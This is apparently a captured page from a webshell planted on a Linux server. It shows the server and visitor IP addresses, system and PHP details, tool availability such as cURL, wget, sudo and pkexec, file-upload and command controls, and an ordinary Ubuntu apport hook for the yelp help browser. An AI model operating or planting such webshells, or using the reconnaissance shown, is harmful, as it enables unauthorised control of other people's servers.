403Webshell
Server IP : 209.205.66.10  /  Your IP : 216.73.216.173
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ammon 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User :  ( 1006)
PHP Version : 8.5.8
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/apport/package-hooks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/apport/package-hooks/source_yelp.py
from apport.hookutils import *
from os import path
import distro
import webbrowser

if distro.id() == 'debian':
	community_support = "https://www.debian.org/support"
else:
	community_support = "https://www.ubuntu.com/support/community-support"

def add_info(report, ui):
    if report['ProblemType'] == 'Crash':
        return

    response = ui.choice("How would you describe the issue?", ["I'm having problems with the Help Browser.", "I need help performing a Task."], False)
    if response == None:
        raise StopIteration
    if response == [0]: # bug on the documentation or yelp
        return
    # user is requesting help rather than having a bug.
    ui.information("Since you're requesting help rather than having a bug on the application please visit a suitable support resource: %s. Thanks in advance." % community_support)
    webbrowser.open(community_support)
    raise StopIteration

Youez - 2016 - github.com/yon3zu
LinuXploit